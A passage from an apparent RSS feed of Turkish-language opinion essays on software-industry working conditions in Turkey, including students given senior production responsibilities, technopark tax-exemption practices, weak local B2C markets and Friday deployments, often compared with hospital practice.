<p>Çünkü hayat, enflasyon kasırgasında eriyen bordrolara boyun eğmek için çok kısa; mühendislik zanaatı ise geçim derdine kurban edilemeyecek kadar kıymetlidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>doviz-kuru</category>
            <category>alim-gucu</category>
            <category>maas-politikasi</category>
            <category>turkiye-ekonomisi</category>
            <category>yazilimci-hayati</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/doviz-kuru-ve-asgari-zam-turkiyede-tl-maas-alan-yazilimcinin-alim-gucu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Part-Time" Çalışan Öğrenciye Senior Sorumluluğu Yıkmak]]></title>
            <link>http://localhost:3000/blog/post/part-time-calisan-ogrenciye-senior-sorumlulugu-yikmak</link>
            <guid>part-time-calisan-ogrenciye-senior-sorumlulugu-yikmak</guid>
            <pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Haftada iki gün ofise gelen üniversite öğrencisinin sırtına production sunucularını yıkıp kıdemli sorumluluğu bekleyen patron kurnazlığı ve tükenmişlik kapanı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/part-time-calisan-ogrenciye-senior-sorumlulugu-yikmak/thumbnail" alt=""> Türkiye'deki KOBİ tipi yazılım ajanslarında veya sermayesi kıt "patron girişimlerinde" defalarca sahnelenmiş o karanlık senaryoyu herkes bilir:</p>
<p>Üniversitenin bilgisayar mühendisliği bölümünde 3. sınıf öğrencisi olan 21 yaşındaki hevesli bir genç, harçlığını çıkarmak ve sektöre erkenden adım atmak için bir şirkete "Part-Time Yazılım Asistanı" olarak başvurur.</p>
<p>Haftada iki buçuk gün okula gidecek, kalan günlerde ofiste kıdemlilerin yanında bir şeyler öğrenip ufak tefek bug'ları çözecektir. Verilen ücret asgari ücretin yarısıdır; yol ve yemek zar zor karşılanmaktadır ama genç adam mutludur: <em>"Tecrübe kazanıyorum ya, gerisi önemli değil."</em></p>
<p>Aradan tam üç hafta geçer. Şirketin kıdemli tek yazılımcısı, şirketin toksik ortamından ve ödenmeyen maaşlarından bıkıp aniden istifa eder.</p>
<p>Patron masasında viskisini yudumlarken bir kriz planı yapar. Dışarıdan kıdemli bir mühendis almaya kalksa en az 60-70 bin TL ödemesi gerekecektir. Oysa odanın köşesinde, gözleri pırıl pırıl parlayan, henüz iş hayatının kurtlarını tanımayan o 21 yaşındaki üniversite öğrencisi oturmaktadır.</p>
<p>Patron yanına gider, omzuna babacan bir tavırla vurur:</p>
<p><em>"Furkan (veya Can, veya Emre), ben senin gözlerindeki o ışığı en baştan gördüm. Sen bizim eski senior'dan çok daha zehirsin. Bu şirketin geleceği sensin. Artık projenin tüm liderliği sende, sana güvenim tam!"</em></p>
<p>Ve o gün; tüm AWS root şifreleri, production veritabanı erişimleri, müşteri toplantıları ve canlı ortamdaki ödeme altyapısı, henüz "İşletim Sistemleri" dersinin vize sınavına bile girmemiş o öğrencinin kucağına bir saatli bomba gibi bırakılır.</p>
<h3>İntörne Bırakılan Acil Servis Cinayeti</h3>
<p>Bu durumun acil servisteki karşılığı katıksız bir cinayet girişimidir.</p>
<p>Taşra hastanesinde gece nöbetindesiniz. Nöbetçi uzman hekim ortalıkta yok; kıdemli asistan hekim rapor alıp gitmiş. Hastanenin başhekimi, stajyer intörn doktorun yanına geliyor ve şöyle diyor:</p>
<p><em>"Delikanlı, sen çok çalışkan bir çocuksun, tıp fakültesinde de notların iyiymiş. Bu gece acil servisin anahtarı sende. Trafik kazası gelirse göğüs tüpü takarsın, kalp krizi gelirse trombolitik başlarsın, kafa travması gelirse entübe edersin. Hadi göreyim seni!"</em></p>
<p>Böyle bir şey gerçekleştiğinde ne olur?</p>
<p>O çocuk daha bir hastanın nabzını doğru düzgün hissetmeden, kapıdan fışkıran kanla giren bir politravma vakasıyla karşılaşır. Donakalır, eli ayağı titrer. Hasta gözlerinin önünde can verir.</p>
<p>Ve ertesi sabah hastane yönetimi ile savcılık kapıya dayandığında, o "sen zehir gibi çocuksun" diyen başhekim ilk olarak kendini kurtarır: <em>"Biz yetkiyi ona vermedik, haddini aşıp müdahale etmiş!"</em> Faturayı 23 yaşındaki stajyere keser, meslekten men edilmesine göz yumarlar.</p>
<p>İşte yazılım sektöründe bir üniversite öğrencisine kıdemli sorumluluğu yıkmak, o öğrenciyi korumasız bir şekilde yoğun bakımın ortasına tek başına atmakla aynı ahlaksızlıktır.</p>
<h3>Vizeler, Finaller ve Gecenin Üçünde Çöken Veritabanı</h3>
<p>O öğrencinin hayatı bir anda kabusa döner.</p>
<p>Gündüz okulda diferansiyel denklemler veya algoritma analizi dersinde otururken, cebindeki telefon aralıksız titremeye başlar. Patron WhatsApp'tan yazmaktadır: <em>"Sunucu çöktü, müşteriler arıyor, hemen bak!"</em></p>
<p>Çocuk amfiden koşarak çıkar. Koridorda, dizlerinin üzerine açtığı eski laptopuyla telefonunun internetini bağlayarak SSH üzerinden çöken Docker container'ını ayağa kaldırmaya çalışır. Bir yandan hocanın devamsızlık yoklamasını düşünür, bir yandan yaklaşan final sınavını, bir yandan da 10 bin müşterinin verisinin silinme riskini.</p>
<p>Bu yük, 21 yaşındaki bir insanın taşıyabileceği bir yük değildir.</p>
<p>Sonuç nedir?</p>
<ol>
<li><strong>Ağır Tükenmişlik (Burnout):</strong> Henüz meslek hayatına başlamadan saçları dökülen, anksiyete krizleri yaşayan ve uykusuzluk çeken gençler.</li>
<li><strong>Korkunç Bir Impostor Sendromu:</strong> Öğrenci bilmediği mimari kavramlar karşısında ezildikçe kendisini "yetersiz, yeteneksiz ve sahtekar" hissetmeye başlar. Oysa sorun onun yetersizliği değil; beş yıllık tecrübe gerektiren bir işin ona zorla dayatılmasıdır.</li>
<li><strong>Akademik Yıkım:</strong> Derslerden kalınır, okul uzatılır ve geleceğe dair kariyer planları erken yaşta sakatlanır.</li>
</ol>
<h3>Günah Keçisi İlan Edilmek</h3>
<p>Bu tiyatronun son perdesi ise kaçınılmaz bir felaketle kapanır.</p>
<p>Canlı sistem bir cuma akşamı kilitlenir. Yanlış yazılmış bir SQL sorgusu yüzünden müşteri veritabanı kilitlenir veya veriler uçar. Patron müşteriye karşı zor durumda kalır; para kaybeder.</p>
<p>Ve o gün, o babacan patronun ağzından dökülen cümleler bir kırbaç gibi iner:</p>
<p><em>"Biz sana güvendik! Sen bu şirketi batırdın! Bir projeyi bile yönetemedin, senden hiçbir şey olmaz!"</em></p>
<p>Ucuz iş gücü uğruna bir gencin hayallerini, psikolojisini ve geleceğini sömüren o şirket; işler ters gittiğinde tüm suçu o öğrencinin sırtına yükleyip onu kapının önüne koyar. Ve ne yazık ki sektörde bu travmayı atlatamayıp yazılım mesleğini tamamen bırakan sayısız pırıl pırıl genç vardır.</p>
<h3>Kıdemli Maaşı Ödemeden Kıdemli Çıktısı Beklemek Hırsızlıktır</h3>
<p>Buradan tüm şirket sahiplerine ve yöneticilere sesleniyoruz:</p>
<p>Bir öğrenciyi şirketinize katıyorsanız, ona <strong>öğrenci</strong> gibi davranmak zorundasınız.</p>
<p>Onun yeri production sunucusunun kök dizini (root) değildir. Onun yeri; kıdemli mühendislerin kodlarını okuduğu, test ortamlarında güvenle hata yapabildiği, mimarinin neden öyle kurulduğunu tartıştığı korunaklı bir laboratuvardır.</p>
<p>Part-time çalışan bir öğrenciye production ortamının sorumluluğunu yıkmak; hem o gence yapılan bir zorbalık, hem müşteriye yapılan bir sahtekarlık, hem de mühendislik mesleğinin onurunu ayaklar altına almaktır.</p>
<p>Genç arkadaşlarımıza da tavsiyemiz şudur:</p>
<p>Size boyunuzdan büyük unvanlar verip sırtınızı sıvazlayan ama bordronuza asgari ücretin yarısını layık gören kurumlardan derhal uzaklaşın. O sahte "liderlik" unvanları bir ödül değil; kriz anında başınıza geçirilecek birer kurbandır. Sizin en büyük sermayeniz gençliğiniz, öğrenme merakınız ve akıl sağlığınızdır; onu ucuz patronların kurnazlıklarına feda etmeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>ogrenci-yazilimci</category>
            <category>part-time</category>
            <category>kobi-kulturu</category>
            <category>sorumluluk-yukleme</category>
            <category>sektor-elestirisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/part-time-calisan-ogrenciye-senior-sorumlulugu-yikmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Teknokent Tiyatrosu: Vergi Muafiyeti vs. Gerçek Ar-Ge]]></title>
            <link>http://localhost:3000/blog/post/teknokent-tiyatrosu-vergi-muafiyeti-vs-gercek-ar-ge</link>
            <guid>teknokent-tiyatrosu-vergi-muafiyeti-vs-gercek-ar-ge</guid>
            <pubDate>Tue, 30 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Parmak izi okutulan turnikeler, formalite Ar-Ge raporları ve vergi muafiyeti almak için TÜBİTAK projesine dönüştürülen e-ticaret web siteleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/teknokent-tiyatrosu-vergi-muafiyeti-vs-gercek-ar-ge/thumbnail" alt=""> Sabah saat 08:45. Türkiye'deki prestijli bir üniversitenin teknokent binasının girişinde uzun bir kuyruk.</p>
<p>İnsanlar ellerinde kahveleriyle sessizce sıranın ilerlemesini bekliyorlar. Sıra geldikçe turnikeden bip sesleri yükseliyor: Parmak izi okutuluyor, yüz tanıma kamerasına bakılıyor veya kart basılıyor.</p>
<p>İçeri giren yazılımcı derin bir nefes alıyor: <em>"Şükür, bugün de saat 09:00'dan önce girdim, sistemde dakikam eksik yazılmayacak."</em></p>
<p>Bu sahneyi ilk kez gören bir yabancı; buranın devlet sırlarının korunduğu, nükleer füzyon veya kuantum işlemciler geliştiren dünyanın en gizli ve disiplinli laboratuvarlarından biri olduğunu düşünebilir.</p>
<p>Oysa burası, altı üstü bir ayakkabı markasının e-ticaret sitesini veya bir mobilya firmasının stok takip uygulamasını geliştiren sıradan bir yazılım ajansıdır. Ve o turnikelerdeki dakikalar; bilime veya teknolojiye olan saygıdan değil, devletin sunduğu <strong>gelir vergisi stopajı, KDV ve SGK prim muafiyetinden</strong> tek bir kuruş bile kaybetmemek için bir muhasebeci titizliğiyle sayılmaktadır.</p>
<p>Türkiye'deki teknokent ekosisteminin acımasız ve çıplak gerçeğine hoş geldiniz: <strong>Gerçek inovasyon ile vergi optimizasyonu tiyatrosunun yer değiştirdiği o tuhaf dünya.</strong></p>
<h3>SGK Teşviki İçin Her Hastaya Çekilen Gereksiz MR</h3>
<p>Bu sistemik kurnazlığın sağlık sektöründeki karşılığı, özel hastanecilik tarihimizin en büyük yaralarından biridir.</p>
<p>Özel hastanelerin Sosyal Güvenlik Kurumu'ndan (SGK) daha fazla ödeme alabilmek ve teşviklerden yararlanabilmek için geliştirdiği karanlık mekanizmaları hatırlayın.</p>
<p>Acil servise hafif bir baş ağrısıyla giren hastaya; tıbbi hiçbir endikasyon olmadığı halde derhal kontrastlı beyin MR'ı, servikal tomografi ve lüzumsuz onlarca biyokimya tahlili yazılır. Hastanenin genel cerrahı, en ufak bir lipomu (yağ bezesini) bile SGK faturalandırma sistemine "komplike derin doku tümörü rezeksiyonu" koduyla girer.</p>
<p>Amaç hastayı iyileştirmek değildir; amaç, devletin kamu sağlığını korumak için ayırdığı bütçe havuzundan maksimum teşviki hortumlamaktır. Bu tablonun faturası ise hem gereksiz radyasyona maruz kalan hastaya, hem de iflasın eşiğine gelen kamu bütçesine çıkar.</p>
<p>İşte Türkiye'deki teknokentlerin önemli bir kısmında dönen Ar-Ge çarkı, bu özel hastane teşvik istismarının yazılım versiyonudur.</p>
<h3>E-Ticaret Sitesini "Derin Öğrenmeli Ar-Ge" Diye Yutturmak</h3>
<p>Kanunun ruhuna baktığınızda Teknoloji Geliştirme Bölgeleri (Teknokentler); üniversite-sanayi iş birliğini sağlamak, katma değeri yüksek ileri teknoloji üretmek, patentler geliştirmek ve ülkenin cari açığını kapatacak küresel ürünler ortaya koymak için kurulmuştur. Devlet bu amaçla şirketlere muazzam vergi avantajları tanır.</p>
<p>Peki pratikte ne olur?</p>
<p>Bir yazılım ajansı düşünün. Şirketin ana geliri; yerel müşterilere WordPress teması giydirmek, e-ticaret sitelerinin sepet entegrasyonunu yapmak veya şirket içi basit form arayüzleri kodlamaktır. Ortada ne yeni bir algoritma vardır, ne bir veri bilimi modeli, ne de donanım optimizasyonu.</p>
<p>Fakat şirket yönetimi teknokente girebilmek ve milyonlarca liralık vergi avantajından faydalanabilmek için bir "Ar-Ge Projesi" yazar:</p>
<p>Projenin adı: <em>"Derin Öğrenme Tabanlı, Çok Kanallı ve Özelleştirilmiş Sepet Tahmin Algoritması ile Yeni Nesil Bilişsel E-Ticaret Karar Destek Platformu."</em></p>
<p>Metnin içi; üniversiteden formalite gereği danışmanlık ücreti ödenen bir akademisyenin desteğiyle akademik terimlerle, yapay zeka buzzword'leriyle ve süslü akış diyagramlarıyla doldurulur. Hakem heyeti onaylar. Şirket teknokente taşınır.</p>
<p>Ve o günden sonra ne olur?</p>
<p>Ofisteki yazılımcılar yine sabah akşam aynı PHP ve JavaScript kodunu yazar, aynı e-ticaret sepet bug'larını çözerler. Ama ay sonunda hazırlanan resmi raporda o yazılımcının yazdığı kod; "Yapay zeka tensör optimizasyonu" olarak gösterilir! Devletin Ar-Ge yapsın diye affettiği vergiler, patronun lüks şirket arabasının yakıtına ve şirket karlılığına dönüşür.</p>
<h3>Bürokrasinin Boğduğu Yazılımcı: Parmak İzi Tiyatrosu</h3>
<p>Bu tiyatronun ceremesini çeken ise yine mühendisler olur.</p>
<p>Dünyanın en modern teknoloji devleri; çalışanlarının verimliliğini ofiste geçirdikleri saatle değil, ürettikleri değerle ve çıktıyla ölçerken; Türkiye'deki teknokent yazılımcısı, devletin müfettişlerine "buradaydım" kanıtı sunabilmek için bir fabrika işçisi gibi mesai kartı basmaya zorlanır.</p>
<p>Haftalık çalışma sürenizin %80'ini (veya yasanın o dönemki kotasını) o teknokent binasının sınırları içinde geçirmezseniz, şirketiniz o ayki vergi indirimini kaybeder. Bu yüzden hastalandığınızda bile ofise gelmek, serumu kolunuza takıp teknokent masasında oturmak zorunda kalırsınız.</p>
<p>Uzaktan çalışmanın (remote work) tüm dünyada standart haline geldiği, en büyük mimarilerin bulut üzerinden koordine edildiği bir çağda; yazılımcıyı fiziksel bir binaya hapsetmek, dijital çağda taş devri mantığıyla mühendislik yönetmeye çalışmaktır.</p>
<h3>Teşvik Bağımlılığı ve Sahte İnovasyon</h3>
<p>Bu sistemin en yıkıcı sonucu, şirketlerde yarattığı <strong>teşvik bağımlılığı ve tembelliktir.</strong></p>
<p>Bir şirket gerçek bir inovasyon yapmadan, sadece vergi muafiyetleri ve hibe destekleriyle bilançosunu karda gösteriyorsa; o şirketin küresel pazarda rekabet edebilecek bir ürün çıkarma kasları zamanla körelir. Tıpkı hormonla şişirilen bir kasın gerçek bir yük altına girdiğinde anında yırtılması gibi.</p>
<p>Yarın teknokent teşvikleri kaldırılsa veya vergi avantajları sıfırlansa; teknokentlerdeki yüzlerce şirketin üç ay içinde iflas edeceği bir sır değildir. Çünkü onların iş modeli teknoloji üretmek değil, <strong>vergi arbitrajı</strong> yapmaktır.</p>
<h3>Gerçek Ar-Ge Cam Binalarda Değil, Özgür Zihinlerde Doğar</h3>
<p>Biz inovasyonu teknokent binalarının cam cephelerinde, turnike sistemlerinde veya kağıt üzerindeki süslü raporlarda aradığımız sürece; bu ülkeden ne bir işletim sistemi çekirdeği çıkar, ne küresel bir veritabanı motoru, ne de dünyayı sarsacak bir teknoloji standardı.</p>
<p>Gerçek Ar-Ge; mühendisin saat kaçta kart bastığını sayan muhasebeci zihniyetinin bittiği yerde başlar.</p>
<p>Gerçek bilim ve teknoloji; insanların hata yapmaktan korkmadığı, teşvik dosyası doldurmak yerine kodun ve matematiğin sınırlarını zorladığı, özgür, bağımsız ve liyakatli ortamlarda filizlenir.</p>
<p>Teknokent tiyatrosunun perdelerini kapatıp hakikatle yüzleşmediğimiz sürece; kendimizi sadece vergi muafiyeti raporlarıyla kandırmaya devam ederiz. Ve dünya teknoloji tarihi bizi ürettiğimiz inovasyonlarla değil, yazdığımız sahte Ar-Ge masallarıyla hatırlar.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>teknokent</category>
            <category>vergi-muafiyeti</category>
            <category>ar-ge</category>
            <category>turkiye-ekosistemi</category>
            <category>burokrasi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/teknokent-tiyatrosu-vergi-muafiyeti-vs-gercek-ar-ge/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Türkiye'den "B2C" Ürün Çıkarmanın Zorluğu: "Halkımız Dijital İçeriğe Para Vermez"]]></title>
            <link>http://localhost:3000/blog/post/turkiyeden-b2c-urun-cikarmanin-zorlugu-halkimiz-dijital-icerige-para-vermez</link>
            <guid>turkiyeden-b2c-urun-cikarmanin-zorlugu-halkimiz-dijital-icerige-para-vermez</guid>
            <pubDate>Mon, 29 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bir fincan kahveye 150 TL verip aylık 30 TL'lik yazılım aboneliğine "hırsızlık" gözüyle bakan pazar dinamikleri ve yerli B2C girişimlerinin hazin mezarlığı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/turkiyeden-b2c-urun-cikarmanin-zorlugu-halkimiz-dijital-icerige-para-vermez/thumbnail" alt=""> Türkiye'deki bağımsız bir yazılımcının veya erken aşama bir startup kurucusunun yaşayabileceği en ağır hayal kırıklıklarından biri, yerli tüketiciye yönelik doğrudan bir son kullanıcı ürünü (B2C - Business to Consumer) çıkarma gafletine düşmesidir.</p>
<p>Aylarca gecenizi gündüzünüze katarsınız. İnsanların hayatını kolaylaştıracak harika bir bütçe takip uygulaması, bir alışkanlık takipçisi veya dil öğrenme aracı kodlarsınız. Arayüz pırıl pırıldır, backend kusursuz çalışmaktadır. Sunucu masraflarını karşılamak ve emeğinizin karşılığını almak için uygulamaya son derece mütevazı bir fiyat etiketi koyarsınız:</p>
<p><em>"Aylık sadece 39 TL."</em> (Yani yaklaşık 1 Dolar.)</p>
<p>Sonra ne olur?</p>
<p>Uygulamanın App Store veya Google Play yorumlarındaki puanı anında 1.2 yıldıza çakılır. Yorumlar öfke doludur:</p>
<ul>
<li><em>"Başta ücretsiz sandım, kayıt olduktan sonra para istedi, dolandırıcılar!"</em></li>
<li><em>"Altı üstü iki grafik çizen bir programa ayda 40 lira mı vereceğiz? Harap olsun emeğiniz!"</em></li>
<li><em>"Arkadaşlar indirmeyin, paralıymış. Bunun bedava APK'sını veya crack'ini nereden bulabiliriz?"</em></li>
</ul>
<p>Aynı kullanıcının Instagram profiline baktığınızda; o günün öğleden sonrasında popüler bir kahve zincirinde tek bir fincan buzlu karamelli latte'ye 160 TL ödeyip fotoğrafını paylaştığını görürsünüz.</p>
<p>Yirmi dakikada içilip idrar olarak atılacak şekerli bir suya 160 TL vermeyi "doğal bir yaşam tarzı" sayan zihniyet; her gün cebinde taşıdığı, hayatını düzene sokan ve arkasında binlerce saatlik mühendislik emeği yatan bir yazılıma ayda 39 TL ödemeyi "katıksız bir soygun" olarak algılamaktadır.</p>
<h3>Koruyucu Sağlığa Sıfır Lira, Yoğun Bakıma Milyonlar</h3>
<p>Bu tüketici davranışının sağlık sektöründeki karşılığı son derece tanıdıktır: <strong>Koruyucu hekimliğe duyulan derin direnç.</strong></p>
<p>Toplumumuzun sağlık algısına bakın. İnsanlara <em>"Yılda bir kez check-up yaptırın, düzenli kan tahlili verin, tansiyonunuzu ölçtürün, yürüyüş yapın ve sağlıklı beslenin"</em> dediğinizde bunu bir külfet, gereksiz bir masraf ve "hastalık aramak" olarak görürler. Ayda bir kutu vitamine veya düzenli bir hekim kontrolüne 200 lira ayırmayan insan; <em>"Ben taş gibiyim, doktora gidip de ne yapacağım?"</em> diyerek övünür.</p>
<p>Peki sonra ne olur?</p>
<p>O insan 50 yaşına geldiğinde bir gece ansızın tıkayıcı bir miyokard enfarktüsü (kalp krizi) geçirir. Ambulansla acil servise kaldırılır, acil anjiyoya alınır, stent takılır, günlerce yoğun bakımda kalır. Ve hastane çıkışında özel hastanenin veznesine tek bir itiraz dahi etmeden, evini arabasını satarak yüz binlerce lira bayılır.</p>
<p>Çünkü toplumumuz; <strong>fiziksel olmayan, anlık bir acıyı dindirmeyen ve önleyici nitelik taşıyan hiçbir değere para ödemek istemez.</strong></p>
<p>İlaç eline somut bir kutu olarak veriliyorsa parasını öder; ama hekimin verdiği hayat kurtarıcı bir tavsiyeye (anamnez ve muayene emeğine) para vermek ona batar. Yazılımda da durum aynıdır: Elinde tutabildiği fiziksel bir donanıma (örneğin akıllı telefona) 50 bin TL ödemekten çekinmeyen tüketici; o donanımın içindeki ruh olan yazılıma para ödemeyi "havaya para saçmak" olarak görür.</p>
<h3>LTV ve CAC Kıskacında Boğulan Girişimler</h3>
<p>Bu acımasız kültürel gerçeklik, Türkiye pazarında B2C ürün geliştiren girişimlerin matematiksel olarak iflas etmesine neden olur.</p>
<p>Yazılım ekonomisinin iki kutsal metriği vardır:</p>
<ol>
<li><strong>CAC (Customer Acquisition Cost):</strong> Bir müşteriyi kazanmak için harcadığınız pazarlama maliyeti.</li>
<li><strong>LTV (Lifetime Value):</strong> O müşterinin hayatı boyunca size bıraktığı toplam gelir.</li>
</ol>
<p>Bir SaaS veya mobil uygulamanın hayatta kalabilmesi için LTV'nin CAC'den en az 3 kat büyük olması gerekir.</p>
<p>Türkiye'de Meta veya Google reklamlarıyla tek bir yerli kullanıcıyı uygulamanıza çekmenin (CAC) maliyeti, artan dijital reklam rekabeti yüzünden 20-30 TL'yi bulur. Ancak içeriye çektiğiniz o kullanıcının uygulamada kalma ve ücretli aboneliğe geçme oranı %0.5'tir! İlk aydan sonra aboneliğini iptal etme (churn) oranı ise %90'ın üzerindedir.</p>
<p>Yani tek bir abone kazanmak için 500 TL harcarsınız; kazandığınız müşteri size toplamda 39 TL bırakıp ilk ayın sonunda kaçar. Bu matematik, hiçbir girişimin ayakta kalamayacağı bir finansal intihar denklemidir.</p>
<p>İşte bu yüzden, Türkiye'de kurulan ve yerel B2C pazarına hitap eden yüzlerce harika mobil uygulama projesi; tohum yatırımları bittiğinde arkalarında devasa bir mezarlık bırakarak sessiz sedasız yok olmuştur.</p>
<h3>Zorunlu Dönüş: B2B'ye Kaçış veya Global Çıkış</h3>
<p>Bu mezarlıktan sağ çıkmayı başaran girişimciler ise çok geçmeden şu iki yoldan birini seçmek zorunda kalır:</p>
<ol>
<li><strong>B2B'ye (Şirketlere Satışa) Dönmek:</strong> Son kullanıcıya ayda 39 TL'ye uygulama satmaya çalışmaktan yorulan kurucu; rotayı kurumsal şirketlere çevirir. Aynı yazılımın arkasına bir yönetici paneli ekler, adına "Kurumsal Verimlilik Platformu" der ve gidip bir holdinge yıllık 300 bin TL'lik lisans satar. Çünkü şirketler için o para bir bütçe kalemidir; fatura kesilir, gider gösterilir ve süreç rasyonel ilerler.</li>
<li><strong>İlk Günden Global Pazara Odaklanmak:</strong> Ürünün arayüzünü tamamen İngilizce'ye çevirip, hedef pazar olarak Kuzey Amerika, Avrupa veya Güneydoğu Asya'yı seçmek. Bir Amerikalı için aylık 4.99 Dolar; sabah aldığı kahvenin yarı fiyatıdır ve kredi kartını düşünmeden sisteme tanımlar. Orada ürünün kalitesi konuştuğunda, gelir akışı öngörülebilir bir şekilde büyür.</li>
</ol>
<h3>Bağımsız Geliştiricilere Tavsiye: Coğrafya Kaderinizi Belirlemesin</h3>
<p>Eğer masanızın başında tek başınıza veya küçük bir ekiple harika bir dijital ürün geliştiriyorsanız, lütfen kendinize şu iyiliği yapın:</p>
<p><strong>Ürününüzü asla ve asla sadece Türkiye yerel B2C pazarı için tasarlamayın.</strong></p>
<p>Yerel pazarın kültürel kodlarını tek başınıza değiştiremezsiniz. İnsanlara dijital emeğin, fikri mülkiyetin ve kod satırlarının bir değeri olduğunu anlatmak sizin göreviniz değildir; bu bir eğitim, hukuk ve refah düzeyi meselesidir.</p>
<p>Kodunuzu yazarken ilk günden çoklu dil ve para birimi desteğiyle inşa edin. Ürününüzün vitrinini dünyaya açın. Sizin uykusuz gecelerinizin, mimari titizliğinizin ve zihinsel emeğinizin karşılığını takdir edecek, bir tıkla size hakkınızı ödeyecek milyonlarca küresel kullanıcı dışarıda sizi bekliyor.</p>
<p>Emeğinizi, dijital içeriği bedava bir kamu malı sanan sığ sularda heba etmeyin; rotanızı okyanuslara kırın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>b2c-urunler</category>
            <category>abonelik-ekonomisi</category>
            <category>turkiye-pazari</category>
            <category>tuketici-davranisi</category>
            <category>girisimcilik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/turkiyeden-b2c-urun-cikarmanin-zorlugu-halkimiz-dijital-icerige-para-vermez/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Cuma Akşamı Deployment Yapılmaz" Kuralının Yerel Piyasa Tarafından İhlali]]></title>
            <link>http://localhost:3000/blog/post/cuma-aksami-deployment-yapilmaz-kuralinin-yerel-piyasa-tarafindan-ihlali</link>
            <guid>cuma-aksami-deployment-yapilmaz-kuralinin-yerel-piyasa-tarafindan-ihlali</guid>
            <pubDate>Sun, 28 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Cuma 17:45'te gelen "Müşteri hafta sonu lansman istiyor, hemen canlıya çıkalım" baskısı, heba olan hafta sonları ve mühendislik disiplininin ihlali.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cuma-aksami-deployment-yapilmaz-kuralinin-yerel-piyasa-tarafindan-ihlali/thumbnail" alt=""> Dünya yazılım mühendisliği literatüründe, üzerine şakalar yapılan, tişörtleri basılan ama aslında her bir harfi uykusuz geceler ve krizlerle ödenmiş evrensel bir amentü vardır:</p>
<p><strong>"Never deploy on Friday!" (Asla cuma günü canlıya çıkma!)</strong></p>
<p>Bu kural bir hurafe veya tembellik bahanesi değildir; olasılık teorisinin, insan fizyolojisinin ve risk yönetiminin en temel sonucudur.</p>
<p>Cuma akşamı mesai biterken canlıya (production) bir kod parçası göndermek; arkanızdan çıkabilecek tüm teknik arızaları, veritabanı kilitlenmelerini ve üçüncü parti servis uyumsuzluklarını, ekibin dinlenmesi gereken cumartesi ve pazar gününün kucağına bir el bombası gibi bırakmak demektir.</p>
<p>Ancak Türkiye'deki yazılım ekosistemine, özellikle KOBİ tipi ajanslara ve patron odaklı şirketlere adım attığınızda bu evrensel kuralın her cuma sistematik olarak katledildiğine şahit olursunuz.</p>
<p>Saat 17:45. Ekipler haftanın yorgunluğunu üzerlerinden atmak, masalarını toplayıp evlerine, ailelerine dönmek üzeredir.</p>
<p>Tam o sırada şirketin patronu veya heyecanlı proje yöneticisi odaya dalar (veya Slack'ten @channel çeker):</p>
<p><em>"Arkadaşlar çok kritik bir gelişme var! Müşteriyle az önce konuştuk, hafta sonu sosyal medyada büyük bir kampanya başlatıyorlar. Yeni ödeme modülünü ve üyelik adımlarını bu akşam canlıya almamız lazım. Zaten testleri yapmıştınız değil mi? Hemen bir deploy çıkın, 15 dakikada biter, sonra herkes evine gider."</em></p>
<p>Bu cümle; tüm bir mühendislik ekibinin hafta sonunun, akıl sağlığının ve aile huzurunun mezara gömüldüğü anın resmi ilanıdır.</p>
<h3>Cuma Akşamı Ameliyathaneye Elektif Hasta Almak</h3>
<p>Bu cehaletin sağlık sektöründeki karşılığını bir cerrahtan veya ameliyathane hemşiresinden dinleyin.</p>
<p>Hastanelerde cuma akşamı saat 18:00 olduğunda nöbet devri gerçekleşir. Gündüz görev yapan yüzlerce kişilik uzman hekim kadrosu, biyokimya laboratuvarı personeli ve idari kadro evlerine gider. Hastanede sadece acil vakalara müdahale edecek çekirdek bir nöbetçi ekip kalır.</p>
<p>Şimdi bir cerrahın cuma akşamı saat 18:30'da çıkıp şöyle dediğini hayal edin:</p>
<p><em>"Hadi arkadaşlar, hazır nöbete kalmışken şu hastanın 6 aydır bekleyen fıtık ve diz protezi ameliyatını aradan çıkaralım. Zaten yarım saatlik iş, hemen yaparız."</em></p>
<p>Böyle bir cerraha ameliyathanedeki anestezi uzmanından başhemşireye kadar herkes dehşetle bakar. Neden?</p>
<p>Çünkü elektif (acil olmayan, planlı) bir cerrahi asla hastanenin en zayıf olduğu, personelin minimum kadroya düştüğü ve acil bir komplikasyon anında konsültasyon isteyecek uzmanların bulunmadığı bir zaman diliminde yapılmaz! Ameliyat sırasında beklenmeyen bir kanama başlarsa, kan merkezinde yedek kan torbası yoksa veya anestezi cihazı arıza yaparsa o hastayı masada bırakırsınız.</p>
<p>Cuma akşamı yazılımda canlıya çıkmak da tam olarak budur.</p>
<p>Tüm ekibin yorgun olduğu, odaklanmanın dibe vurduğu, AWS destek hattının nöbetçi moda geçtiği ve dış API sağlayıcılarının müşteri temsilcilerinin evlerinde uyuduğu bir zaman diliminde; production veritabanına şema göçü (migration) fırlatmak katıksız bir kumardır.</p>
<h3>Kabusun Anatomisi: 18:15'ten Pazar Gecesi 03:00'e</h3>
<p>O deploy çıktığı an senaryo asla yöneticinin hayal ettiği gibi "15 dakikada" bitmez:</p>
<ol>
<li><strong>Saat 18:15:</strong> Kod merge edilir, CI/CD pipeline'ı çalışır. Test ortamında fark edilmeyen küçük bir migration hatası yüzünden production veritabanı kilitlenir (table lock).</li>
